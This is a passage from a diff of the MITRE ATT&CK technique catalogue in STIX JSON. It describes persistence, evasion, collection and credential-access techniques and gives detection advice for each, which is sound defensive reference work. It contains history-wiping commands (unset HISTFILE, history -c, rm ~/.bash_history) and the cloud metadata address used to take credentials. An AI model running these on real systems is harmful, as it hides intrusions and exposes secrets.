(Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under HKEY_CLASSES_ROOT\\.[extension], for example HKEY_CLASSES_ROOT\\.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\\[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\\[handler]\\shell\\[action]\\command. For example:\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2012)", + "id": "attack-pattern--68c96494-1a50-403e-8844-69a6af278c68", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process. \n\nUser file association preferences are stored under [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts and override associations configured under [HKEY_CLASSES_ROOT]. Changes to a user's preference will occur under this entry's subkeys.\n\nAlso look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Stefan Kanthak", + "Travis Smith, Tripwire" + ], + "created": "2017-05-31T21:30:42.222Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "external_references": [ + { + "external_id": "T1042", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1042" + }, + { + "external_id": "CAPEC-556", + "source_name": "capec", + "url": "https://capec.mitre.org/data/definitions/556.html" + }, + { + "description": "Microsoft. (n.d.). Specifying File Handlers for File Name Extensions. Retrieved November 13, 2014.", + "source_name": "Microsoft File Handlers", + "url": "http://msdn.microsoft.com/en-us/library/bb166549.aspx" + }, + { + "description": "Microsoft. (n.d.). Change which programs Windows 7 uses by default. Retrieved July 26, 2016.", + "source_name": "Microsoft Change Default Programs", + "url": "https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs" + }, + { + "description": "Plett, C. et al.. (2017, October 15). assoc. Retrieved August 7, 2018.", + "source_name": "Microsoft Assoc Oct 2017", + "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/assoc" + }, + { + "description": "Sioting, S. (2012, October 8). TROJ_FAKEAV.GZD. Retrieved August 8, 2018.", + "source_name": "TrendMicro TROJ-FAKEAV OCT 2012", + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd" + } + ], + "modified": "2018-10-17T00:14:20.652Z" + }, + { + "x_mitre_data_sources": [ + "Authentication logs", + "File monitoring" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "Clear Command History", + "description": "macOS and Linux both keep track of the commands users type in their terminal so that users can easily remember what they've done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as unset HISTFILE, export HISTFILESIZE=0, history -c, rm ~/.bash_history.", + "id": "attack-pattern--d3046a90-580c-4004-8208-66915bc29830", + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "User authentication, especially via remote terminal services like SSH, without new entries in that user's ~/.bash_history is suspicious. Additionally, the modification of the HISTFILE and HISTFILESIZE environment variables or the removal/clearing of the ~/.bash_history file are indicators of suspicious activity.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-16T20:37:57.409Z", + "created": "2017-12-14T16:46:06.044Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "external_references": [ + { + "external_id": "T1146", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1146" + } + ], + "x_mitre_defense_bypassed": [ + "Log analysis", + "Host forensic analysis" + ] + }, + { + "x_mitre_data_sources": [ + "API monitoring" + ], + "name": "Clipboard Data", + "description": "Adversaries may collect data stored in the Windows clipboard from users copying information within or between applications. \n\n### Windows\n\nApplications can access clipboard data by using the Windows API. (Citation: MSDN Clipboard) \n\n### Mac\n\nOSX provides a native command, pbpaste, to grab clipboard contents (Citation: Operating with EmPyre).", + "id": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Access to the clipboard is a legitimate function of many applications on a Windows system. If an organization chooses to monitor for this behavior, then the data will likely need to be correlated against other suspicious or non-user-driven activity.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:31:25.967Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "external_references": [ + { + "external_id": "T1115", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1115" + }, + { + "source_name": "capec", + "external_id": "CAPEC-637", + "url": "https://capec.mitre.org/data/definitions/637.html" + }, + { + "source_name": "MSDN Clipboard", + "description": "Microsoft. (n.d.). About the Clipboard. Retrieved March 29, 2016.", + "url": "https://msdn.microsoft.com/en-us/library/ms649012" + }, + { + "source_name": "Operating with EmPyre", + "description": "rvrsh3ll. (2016, May 18). Operating with EmPyre. Retrieved July 12, 2017.", + "url": "http://www.rvrsh3ll.net/blog/empyre/operating-with-empyre/" + } + ], + "modified": "2019-06-18T13:18:33.324Z" + }, + { + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_data_sources": [ + "Azure activity logs", + "AWS CloudTrail logs", + "Authentication logs" + ], + "name": "Cloud Instance Metadata API", + "description": "Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.\n\nMost cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API)\n\nIf adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, attackers may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows the attacker to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)\n\nThe de facto standard across cloud service providers is to host the Instance Metadata API at http[:]//169.254.169.254.\n", + "id": "attack-pattern--1c2fd73a-e634-44ed-b1b5-9e7cf7404e9f", + "x_mitre_platforms": [ + "AWS", + "GCP", + "Azure" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "* Monitor access to the Instance Metadata API and look for anomalous queries.\n* It may be possible to detect adversary use of credentials they have obtained. See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.\n", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Praetorian" + ], + "created": "2019-09-04T14:41:32.317Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1522", + "url": "https://attack.mitre.org/techniques/T1522" + }, + { + "description": "AWS. (n.d.). Instance Metadata and User Data. Retrieved July 18, 2019.", + "source_name": "AWS Instance Metadata API", + "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html" + }, + { + "source_name": "RedLock Instance Metadata API 2018", + "description": "Higashi, Michael. (2018, May 15). Instance Metadata API: A Modern Day Trojan Horse. Retrieved July 16, 2019.", + "url": "https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse" + } + ], + "modified": "2019-10-22T19:57:25.998Z" + }, + { + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_data_sources": [ + "Office 365 audit logs", + "Azure activity logs", + "Stackdriver logs", + "AWS CloudTrail logs" + ], + "name": "Cloud Service Dashboard", + "description": "An adversary may use a cloud service dashboard GUI with stolen credentials to gain useful information from an operational cloud environment, such as specific services, resources, and features. For example, the GCP Command Center can be used to view all assets, findings of potential security risks, and to run additional queries, such as finding public IP addresses and open ports.(Citation: Google Command Center Dashboard)\n\nDepending on the configuration of the environment, an adversary may be able to enumerate more information via the graphical dashboard than an API. This allows the adversary to gain information without making any API requests.", + "id": "attack-pattern--e49920b0-6c54-40c1-9571-73723653205f", + "x_mitre_platforms": [ + "AWS", + "GCP", + "Azure", + "Azure AD", + "Office 365" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Monitor account activity logs to see actions performed and activity associated with the cloud service management console. Some cloud providers, such as AWS, provide distinct log events for login attempts to the management console.(Citation: AWS Console Sign-in Events)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Praetorian" + ], + "created": "2019-08-30T18:11:24.582Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1538", + "url": "https://attack.mitre.org/techniques/T1538" + }, + { + "description": "Google. (2019, October 3). Quickstart: Using the dashboard. Retrieved October 8, 2019.", + "source_name": "Google Command Center Dashboard", + "url": "https://cloud.google.com/security-command-center/docs/quickstart-scc-dashboard" + }, + { + "description": "Amazon. (n.d.). AWS Console Sign-in Events. Retrieved October 23, 2019.", + "source_name": "AWS Console Sign-in Events", + "url": "https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference-aws-console-sign-in-events.html" + } + ], + "modified": "2019-10-23T14:19:37.289Z" + }, + { + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_data_sources": [ + "Azure activity logs", + "Stackdriver logs", + "AWS CloudTrail logs" + ], + "name": "Cloud Service Discovery", + "description": "An adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ depending on if it's platform-as-a-service (PaaS), infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many different services exist throughout the various cloud providers and can include continuous integration and continuous delivery (CI/CD), Lambda Functions, Azure AD, etc. Adversaries may attempt to discover information about the services enabled throughout the environment.\n\nPacu, an open source AWS exploitation framework, supports several methods for discovering cloud services.(Citation: GitHub Pacu)", + "id": "attack-pattern--e24fcba8-2557-4442-a139-1ee2f2e784db", + "x_mitre_platforms": [ + "AWS", + "GCP", + "Azure", + "Azure AD", + "Office 365", + "SaaS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Cloud service discovery techniques will likely occur throughout an operation where an adversary is targeting cloud-based systems and services. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nNormal, benign system and network events that look like cloud service discovery may be uncommon, depending on the environment and how they are used. Monitor cloud service usage for anomalous behavior that may indicate adversarial presence within the environment.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Praetorian" + ], + "created": "2019-08-30T13:01:10.120Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1526", + "url": "https://attack.mitre.org/techniques/T1526" + }, + { + "description": "Rhino Security Labs. (2019, August 22). Pacu. Retrieved October 17, 2019.", + "source_name": "GitHub Pacu", + "url": "https://github.com/RhinoSecurityLabs/pacu" + } + ], + "modified": "2019-10-17T19:11:02.353Z" + }, + { + "x_mitre_data_sources": [ + "Binary file metadata" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "name": "Code Signing", + "description": "Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) However, adversaries are known to use code signing certificates to masquerade malware and tools as legitimate binaries (Citation: Janicab). The certificates used during an operation may be created, forged, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates)\n\nCode signing to verify software on first run can be used on modern Windows and macOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)\n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system.", + "id": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d", + "x_mitre_platforms": [ + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:31:26.474Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1116", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1116" + }, + { + "description": "Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.", + "source_name": "Wikipedia Code Signing", + "url": "https://en.wikipedia.org/wiki/Code_signing" + }, + { + "description": "Ladikov, A. (2015, January 29). Why You Shouldn\u2019t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.", + "source_name": "Securelist Digital Certificates", + "url": "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/" + }, + { + "description": "Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016.", + "source_name": "Symantec Digital Certificates", + "url": "http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates" + }, + { + "description": "Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017.", + "source_name": "Janicab", + "url": "http://www.thesafemac.com/new-signed-malware-called-janicab/" + } + ], + "x_mitre_defense_bypassed": [ + "Windows User Account Control" + ] + }, + { + "x_mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters" + ], + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ], + "name": "Command-Line Interface", + "description": "Command-line interfaces provide a way of interacting with computer systems and is a common feature across many types of operating system platforms. (Citation: Wikipedia Command-Line Interface) One example command-line interface on Windows systems is [cmd](https://attack.mitre.org/software/S0106), which can be used to perform a number of tasks including execution of other software. Command-line interfaces can be interacted with locally or remotely via a remote desktop application, reverse shell session, etc. Commands that are executed run with the current permission level of the command-line interface process unless the command includes process invocation that changes permissions context for that execution (e.g. [Scheduled Task](https://attack.mitre.org/techniques/T1053)).\n\nAdversaries may use command-line interfaces to interact with systems and execute other software during the course of an operation.", + "x_mitre_remote_support": false, + "id": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Command-line interface activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:30:49.546Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "external_references": [ + { + "external_id": "T1059", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1059" + }, + { + "source_name": "Wikipedia Command-Line Interface", + "description": "Wikipedia. (2016, June 26). Command-line interface. Retrieved June 27, 2016.", + "url": "https://en.wikipedia.org/wiki/Command-line_interface" + } + ], + "modified": "2019-07-16T20:46:59.350Z" + }, + { + "x_mitre_data_sources": [ + "Packet capture", + "Netflow/Enclave netflow", + "Process use of network", + "Process monitoring" + ], + "name": "Commonly Used Port", + "description": "Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as\n\n* TCP:80 (HTTP)\n* TCP:443 (HTTPS)\n* TCP:25 (SMTP)\n* TCP/UDP:53 (DNS)\n\nThey may use the protocol associated with the port or a completely different protocol. \n\nFor connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), examples of common ports are \n\n* TCP/UDP:135 (RPC)\n* TCP/UDP:22 (SSH)\n* TCP/UDP:3389 (RDP)", + "id": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_network_requirements": true, + "created": "2017-05-31T21:30:42.657Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "external_references": [ + { + "external_id": "T1043", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1043" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "modified": "2019-07-16T20:51:40.305Z" + }, + { + "x_mitre_data_sources": [ + "File monitoring", + "Data loss prevention" + ], + "name": "Communication Through Removable Media", + "description": "Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system. Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091). Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.", + "id": "attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Monitor file access on removable media. Detect processes that execute when removable media is mounted.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_network_requirements": false, + "created": "2017-05-31T21:31:09.379Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "external_references": [ + { + "external_id": "T1092", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1092" + } + ], + "modified": "2019-07-16T20:53:20.583Z" + }, + { + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_data_sources": [ + "Process command-line parameters", + "Process monitoring", + "File monitoring" + ], + "name": "Compile After Delivery", + "description": "Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Similar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)\n\nSource code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)\n", + "id": "attack-pattern--cf7b3a06-8b42-4c33-bbe9-012120027925", + "modified": "2019-04-29T21:13:49.686Z", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_system_requirements": [ + "Compiler software (either native to the system or delivered by the adversary)" + ], + "type": "attack-pattern", + "x_mitre_detection": "Monitor the execution file paths and command-line arguments for common compilers, such as csc.exe and GCC/MinGW, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior. The compilation of payloads may also generate file creation and/or file write events. Look for non-native binary formats and cross-platform compiler and execution frameworks like Mono and determine if they have a legitimate purpose on the system.(Citation: TrendMicro WindowsAppMac) Typically these should only be used in specific and limited cases, like for software development.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank", + "Praetorian" + ], + "created": "2019-04-25T20:53:07.719Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1500", + "url": "https://attack.mitre.org/techniques/T1500" + }, + { + "source_name": "ClearSky MuddyWater Nov 2018", + "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", + "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf" + }, + { + "description": "Trend Micro. (2019, February 11). Windows App Runs on Mac, Downloads Info Stealer and Adware. Retrieved April 25, 2019.", + "source_name": "TrendMicro WindowsAppMac", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/windows-app-runs-on-mac-downloads-info-stealer-and-adware/" + } + ], + "x_mitre_defense_bypassed": [ + "Static File Analysis", + "Binary Analysis", + "Anti-virus", + "Host intrusion prevention systems", + "Signature-based detection" + ] + }, + { + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "Compiled HTML File", + "description": "Compiled HTML files (.chm) are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)\n\nAdversaries may abuse this technology to conceal malicious code. A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application whitelisting on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)", + "x_mitre_remote_support": false, + "id": "attack-pattern--d21a2069-23d5-4043-ad6d-64f6b644cb1a", + "modified": "2019-07-16T20:59:55.841Z", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "type": "attack-pattern", + "x_mitre_detection": "Monitor and analyze the execution and arguments of hh.exe. (Citation: MsitPros CHM Aug 2017) Compare recent invocations of hh.exe with prior history of known good arguments to determine anomalous and potentially adversarial activity (ex: obfuscated and/or malicious commands). Non-standard process execution trees may also indicate suspicious or malicious behavior, such as if hh.exe is the parent process for suspicious processes and activity relating to other adversarial techniques.\n\nMonitor presence and use of CHM files, especially if they are not typically used within an environment.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Rahmat Nurfauzi, @infosecn1nja, PT Xynexis International" + ], + "created": "2018-10-17T00:14:20.652Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "external_references": [ + { + "external_id": "T1223", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1223" + }, + { + "description": "Microsoft. (2018, May 30). Microsoft HTML Help 1.4. Retrieved October 3, 2018.", + "source_name": "Microsoft HTML Help May 2018", + "url": "https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk" + }, + { + "description": "Microsoft. (n.d.). HTML Help ActiveX Control Overview. Retrieved October 3, 2018.", + "source_name": "Microsoft HTML Help ActiveX", + "url": "https://msdn.microsoft.com/windows/desktop/ms644670" + }, + { + "description": "Microsoft. (n.d.). About the HTML Help Executable Program. Retrieved October 3, 2018.", + "source_name": "Microsoft HTML Help Executable Program", + "url": "https://msdn.microsoft.com/windows/desktop/ms524405" + }, + { + "description": "Moe, O. (2017, August 13). Bypassing Device guard UMCI using CHM \u2013 CVE-2017-8625. Retrieved October 3, 2018.", + "source_name": "MsitPros CHM Aug 2017", + "url": "https://msitpros.com/?p=3909" + }, + { + "description": "Microsoft. (2017, August 8). CVE-2017-8625 - Internet Explorer Security Feature Bypass Vulnerability. Retrieved October 3, 2018.", + "source_name": "Microsoft CVE-2017-8625 Aug 2017", + "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8625" + } + ], + "x_mitre_defense_bypassed": [ + "Application whitelisting", + "Digital Certificate Validation" + ] + }, + { + "x_mitre_data_sources": [ + "Disk forensics", + "API monitoring", + "Process monitoring", + "Component firmware" + ], + "x_mitre_permissions_required": [ + "SYSTEM" + ], + "name": "Component Firmware", + "description": "Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1019) but conducted upon other system components that may not have the same capability or level of integrity checking. Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.", + "id": "attack-pattern--10d5f3b7-6be6-4da5-9a77-0f1e2bbfcc44", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_system_requirements": [ + "Ability to update component device firmware from the host operating system." + ], + "type": "attack-pattern", + "x_mitre_detection": "Data and telemetry from use of device drivers (i.e. processes and API calls) and/or provided by SMART (Self-Monitoring, Analysis and Reporting Technology) (Citation: SanDisk SMART) (Citation: SmartMontools) disk monitoring may reveal malicious manipulations of components. Otherwise, this technique may be difficult to detect since malicious activity is taking place on system components possibly outside the purview of OS security and integrity mechanisms.\n\nDisk check and forensic utilities (Citation: ITWorld Hard Disk Health Dec 2014) may reveal indicators of malicious firmware such as strings, unexpected disk partition table entries, or blocks of otherwise unusual memory that warrant deeper investigation. Also consider comparing components, including hashes of component firmware and behavior, against known good images.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-16T21:04:18.951Z", + "created": "2017-05-31T21:31:22.374Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "external_references": [ + { + "external_id": "T1109", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1109" + }, + { + "source_name": "SanDisk SMART", + "description": "SanDisk. (n.d.). Self-Monitoring, Analysis and Reporting Technology (S.M.A.R.T.). Retrieved October 2, 2018." + }, + { + "source_name": "SmartMontools", + "description": "smartmontools. (n.d.). smartmontools. Retrieved October 2, 2018.", + "url": "https://www.smartmontools.org/" + }, + { + "source_name": "ITWorld Hard Disk Health Dec 2014", + "description": "Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved October 2, 2018.", + "url": "https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html" + } + ], + "x_mitre_defense_bypassed": [ + "File monitoring", + "Host intrusion prevention systems", + "Anti-virus" + ] + }, + { + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_data_sources": [ + "Windows Registry", + "DLL monitoring", + "Loaded DLLs" + ], + "name": "Component Object Model Hijacking", + "description": "The Component Object Model (COM) is a system within Windows to enable interaction between software components through the operating system. (Citation: Microsoft Component Object Model) Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. 